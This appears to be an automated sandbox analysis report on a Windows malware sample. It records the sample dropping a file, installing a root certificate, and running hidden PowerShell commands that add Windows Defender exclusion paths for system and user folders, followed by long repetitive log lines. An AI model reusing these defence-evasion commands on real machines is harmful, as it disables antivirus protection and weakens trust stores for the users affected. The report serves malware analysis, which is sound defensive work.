Source: C:\Reka\rapnewsa.exe	Section loaded: msasn1.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: cryptsp.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: rsaenh.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: cryptbase.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: gpapi.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: windows.storage.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: wldp.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 1feP5qTCl0.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: 1feP5qTCl0.exe

Static file information: File size 8077824 > 1048576

Source: 1feP5qTCl0.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x267e00
Source: 1feP5qTCl0.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x276a00

Source: 1feP5qTCl0.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files'"
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)'"
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery'"
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Reka'"
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%USERPROFILE%\Desktop'"
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Reka'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%USERPROFILE%\Desktop'"	Jump to behavior

Source: C:\Reka\rapnewsa.exe

Code function: 19_2_00A417E0 GlobalHandle,LoadLibraryA,GetProcAddress,

19_2_00A417E0

Source: 1feP5qTCl0.exe	Static PE information: section name: .xdata
Source: 1feP5qTCl0.exe	Static PE information: section name: /4
Source: 1feP5qTCl0.exe	Static PE information: section name: /19
Source: 1feP5qTCl0.exe	Static PE information: section name: /32
Source: 1feP5qTCl0.exe	Static PE information: section name: /46
Source: 1feP5qTCl0.exe	Static PE information: section name: /65
Source: 1feP5qTCl0.exe	Static PE information: section name: /78
Source: 1feP5qTCl0.exe	Static PE information: section name: /90
Source: 1feP5qTCl0.exe	Static PE information: section name: .symtab

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior

Source: C:\Users\user\Desktop\1feP5qTCl0.exe

File created: C:\Reka\rapnewsa.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior

Source: C:\Users\user\Desktop\1feP5qTCl0.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
